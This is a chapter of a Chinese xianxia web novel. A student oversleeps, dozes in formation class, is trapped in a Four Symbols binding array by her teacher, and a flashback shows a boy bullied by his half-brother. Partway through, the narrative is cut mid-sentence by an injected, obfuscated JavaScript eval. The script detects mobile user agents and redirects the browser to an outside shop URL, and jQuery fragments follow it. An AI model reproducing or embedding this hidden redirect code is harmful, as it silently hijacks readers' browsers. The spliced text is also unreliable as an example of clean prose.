44. 困阵
作品:《天生犟种》 她快步走近:“站在我院门口吹风呢?”
林思依站在风里,正困倦地不行,听见她的声音未曾抬眼便先嗔怪道:“你怎这时才回来?我玉简发消息你也不回。”
常又生和宋游他们一行人商量事情,没太注意时间,商量完又找了个地方修炼了一会,此下回来已是寅时,至于玉简这东西,中途又哪里想的起来看上一眼。
她将玉简从袖中翻了出来,打开。
爱吃胡萝卜:财财,明天一起去上阵法课啊。
爱吃胡萝卜:嗯?
爱吃胡萝卜:不可以吗?
爱吃胡萝卜:你回来没有哇?
爱吃胡萝卜:你不会干什么坏事被抓了吧?
爱吃胡萝卜:你故意不回我![生气][生气]
爱吃胡萝卜:你要是遇到危险就发个句号。
……
常又生将玉简收好,声音在风中有点模糊:“所以你不睡觉不修炼,在这站了半宿?”
林思依鼻尖冻得发红,打了个哈欠点头:“是啊,我是傻子,傻子才站半宿,我有点困,去睡觉了。”
“等等。”
常又生拉住她。
“这个给你,谢谢。”
“什么东西?”林思依迷迷糊糊地看了眼手里的小瓷瓶,“财财,你是不是傻?给我东西还说谢谢。我走了哇,你记得下次及时看玉简……财财!”
林思依惊呼出声,旋即后知后觉地捂住嘴巴,凑近结巴道:“你,你被人打了啊!”
面前的人两颊肿的老高,眼睛一边大一边小,中间一个鼻头青的发黑。
常又生:“没有……我走路没看路,摔了一跤。”
林思依没说话,拽着她的衣服转圈。
常又生原地打了个转,被林思依看的不自在:“你干嘛?”
“你要是真被人打了,你告诉我,我们去找长老,不能就这样算了!”
林思依蹙着眉头,嗓音虽柔,却异常坚定,拽起常又生的袖子就要往前走。
“万一是我有错呢?”
常又生任由林思依拽着自己的袖子,看着她的后脑勺问。
“怎么可能是你?就算是你也不能就这样算了!看看都打成什么样了!”
拽不动后边的人,林思依回头,气急:“走啊,你怕什么?”
“我只是摔了一跤,林思依。”
林思依撒开她的袖子:“你不去我自己去!”
“欸欸。”常又生笑着拉住她,坦诚道:“我这不叫被打,我这叫切磋。”
林思依顿住脚步双手环胸看她。
“但是!”常又生赶忙伸出三根手指,“我保证我没有受欺负,真的。我只是没有打过他,而且这些都是皮外伤,没两天就好了,你看嘛,除了脸哪哪都是好的。”
紧皱的眉头终于松开几分,林思依噗嗤一声笑出来:“那刚刚为什么骗我说摔了一跤?”
常又生:“那个,被打,切磋成这样,我也要面子的嘛。”
看林思依态度有所松动,常又生走过去拉她:“所以,你不困了吗?回去睡觉啦小兔子。”
“记得早上一起去上阵法课。”
林思依挥手交代。
“林思依,你为什么……”
“嗯?什么,我没听清。”
林思依回头,奇怪地看着常又生。
“没什么,一会见。”
常又生笑。
送走林思依,常又生回屋趴到床上,脑子昏沉,浑身都疼,她有点累。
还有点开心。
---
“快走!”
常又生拉起林思依就往前跑,天知道她为什么睡过了头,明明她都到班里了,结果莫名其妙一个脚滑摔到地上,睁眼自己竟然在床上!
“不用这么着急吧,第一天上课。”
林思依跟在后边跌跌撞撞。
常又生泪流满面,如果可以,她现在简直恨不得插上翅膀原地起飞。
第一天上课就迟到,还是方秀秀,她害怕啊!
二人紧赶慢赶,终于在铃声响起的那一刻踏过班门。
“赶上了赶上了。”二人喘着粗气。
方秀秀站在讲台上,缓缓转头朝门口看了一眼。
新来的学生,迟到。
常又生洋洋洒洒往后一看,很好,已经坐满了呜呜。
视线往前挪动。
第四排,满了。
第三排,满了。
第二排,满了。
第一排……
“我们开始上课。”
啪,啪。
教鞭打上墙壁,响了两声,中间隔着一息空白,清晰且沉闷。
方秀秀将视线投向教室的最远方。
常又生二人探着身子往第一排拱。
“今天,讲四象缚灵阵。”
二人蹑手蹑脚坐下。
“青龙位东,属木,主生机、束缚。白虎在西,属金,主杀伐……”
方秀秀的声音很平,不带一丝起伏。
常又生碍着之前的原因,精神紧绷。
然后……
“属北……后演变为四凶戮魂……”
常又生感觉自己的眼皮在变沉,耳边声音断断续续。
“财财,财财……”
“嗯?”
常又生迷迷糊糊应道。
啪。
一息。
啪。
又是一息。
是教鞭打在课桌上的声音。
清晰且沉闷。
常又生掀开眼皮,方秀秀?
一个激灵,常又生站起来,低头,道歉。
“老师,对不起。”
方秀秀微微离常又生的桌子远了一点。
这妖怪,有点丑。
“你在犯困吗?”
疑问句,依旧很平的语调,没有起伏,只有一个吗字证明她在发问。
“是,老师,对不起,我不该犯困。”
常又生已经完全清醒。
“不要说对不起,我不喜欢。你会这些知识了吗?”
没有指责,依旧是平着语调的询问。
方秀秀歪头,眼神空洞。
常又生无意识攥紧手指,摇头。
“没有,我不会。”
迟到,睡觉,不听讲。
方秀秀伸出手,挟来窗外石头和绿叶,掸下露水,拔下头间发钗,她道:“实践是掌握知识的重要途径。”
只见四样东西在她手中飞速旋转,眨眼成阵,迅速放大,将常又生罩在了其中。
“寓教于罚,这个,对你的惩罚。”
意料之中的结果,常又生并不意外,光芒笼罩之下,常又生对林思依打口型:“不用等我,不要担心。”
将阵法收在手中,方秀秀将自己面上脸皮扶正,走回讲台。
啪,啪。
“现在,我们继续上课。”
阵中,常又生盘腿而坐,托腮发呆。
她真不知道是该苦笑还是该庆幸,幸亏今天学的是缚阵,要是攻击型阵法她哪能像现在这样坐着悠闲。
是缚阵啊。
没有攻击性,能量消耗小,落地缚人,不计朝暮。
常又生长叹一声,掰起手指,她三天之内能出去吗?
大概率不能。
五天呢?
嘶,不大可能。
但她的灵力最多维持七天,七天后出不去,只能等外边的人放她出来,那也就意味着她不用考核这门课程了,直接不合格。
不合格?不说别人,单是杜长老那里,她就没法交代。
你怎么这么贪睡啊常又生?
常又生你怎么能这么贪睡?
你就不能在阵法课上精神抖擞一次吗?
为什么一上阵法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793004|186650||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
课就犯困!
常又生拍打自己尚未消肿的双颊,认命地站起来分辨方位。
四象缚灵阵,孟知乐之前倒是给她讲过五相缚灵阵,为什么会少了一相?二者有什么区别吗?
不作它想,常又生以指凝成一道剑气,朝周围甩了过去,她要先确定方位。
只见剑气一闪没入阵中,霎那间周遭光芒大作。
“吼!”
青龙现身,吟啸着常又生奔腾而来。
甩了一道剑气,常又生记下方位正欲迎上去,不料白虎,朱雀,玄武也分别在西南北三处现身,向她扑了过来。
牵一发而动全身,腹背受敌。
尖锐的细流划过皮肤,留下一道道淡红色血痕。
剑昨天被折断,尚未来得及买新的,常又生御咒驱开它们,心中大惊,这缚阵怎生还攻击人呢?
缚阵未必不能攻击人。
常又生细细回想她仅有的阵法知识。
攻击性阵法普遍消耗灵力,故不长久。
而大多数缚阵一缚就是个一年半载的,想来是将能量主要用到困人缚灵方面了,不作攻击,耗灵力少,这才如此耐耗。
如过是这样,那这四象缚灵阵消耗的灵力定然少不到哪去,若是她不断攻击这阵,岂不是不久这阵法就灵力枯竭,不能正常运行了?如此一来,她不就出去了吗?
常又生兴奋地又甩出一道剑气,她可太聪明了。
澜州西南角,私院。
白衣男子周身光芒流转,隐隐有破阶之势。
然而不出片刻,那光芒却是渐渐黯淡下去,男子额上也渐渐溢出薄汗。
“让你学,让你烂显摆!”
柳家一处传功殿拐角,一群孩子正围成一群,手忙脚乱地用力踩着一把剑。
“柳冠明,要是一会你哥发现了怎么办?”
外围的一个孩子发问。
“我没有哥,我爹说了,就我一个儿子,况且他发现不是更好吗,气死他才好呢哈哈,怎么言余,你怕他啊?”
一粉雕玉琢的孩子笑的极其嚣张,说着把脚下的那把剑踢远了。
数九寒冬,他穿的臃肿,脚下的动作由此显得笨拙不堪。
按理来说,五六岁大的孩子被这么一激一嘲笑,当是恼羞成怒,急的跳脚了,再严重点就此扭打在一起也是可能的。
可那叫言余的孩子只是翻了个白眼摊手:“我怕什么,我又没踩他的剑。”
他不过是过来凑个热闹罢了。
“倒是你,你打不过他吧?柳冠明?”
那粉雕玉琢的孩子正是柳冠明,心里正因剑法课上那死老头批评他却转头表扬了柳长明愤怒嫉恨,窝着一团火没地方发泄,此刻听到这话如何能冷静,饶是对面那孩子父亲一二再,再而三叮嘱过哪怕做不了朋友也不要做敌人,他也是顾不上了。
只如被点燃的炸药、摸了屁股的老虎,炸了。
指着言余的鼻子骂道:“你算个什么东西,胡说什么呢,谁打不过那个野孩子了?”
言余嗤笑,眼皮都懒得掀一下,谁理会这色厉内荏的货。
“再说!”
许是底气不足,自己也感到心虚,柳冠明叉着腰趾高气昂。
“就算老子打不过他又怎么样?这柳家家主不还是要我来做!他一个野孩子,他娘都不管他,剑学的再好有什么用?”
柳长明走来的时候,看到的正是这幅场景,他爹的好儿子伙同他的一群好伙伴,勾肩搭背地念叨着些陈词滥调,无非是“野孩子”“没人管”之类的。
不远处是他弯了的剑,剑身上还带着灰色的脚印。
其实他心中没什么情绪,只是他们都笑,于是他也笑。
笑着走向那把弯了的剑,笑着把那剑拿起来,再笑着对准他们。
他与他们厮打在一起。
不知过了多久,画面陡然一转,来到一处华丽的住所。

